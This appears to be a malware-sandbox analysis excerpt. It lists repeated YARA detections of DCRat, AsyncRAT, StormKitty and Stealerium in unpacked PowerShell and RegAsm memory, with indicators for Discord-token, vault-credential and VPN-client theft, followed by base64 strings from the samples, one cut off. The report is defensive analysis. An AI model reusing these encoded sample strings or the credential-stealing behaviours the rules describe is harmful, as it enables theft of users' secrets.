Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.29ddc077076.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: powershell.exe PID: 4980, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: 5.2.powershell.exe.29df4120000.13.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: 5.2.powershell.exe.29dddaa5458.4.raw.unpack, Knvbl.cs	Base64 encoded string: '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
Source: 5.2.powershell.exe.29ddc07a518.7.raw.unpack, Knvbl.cs	Base64 encoded string: 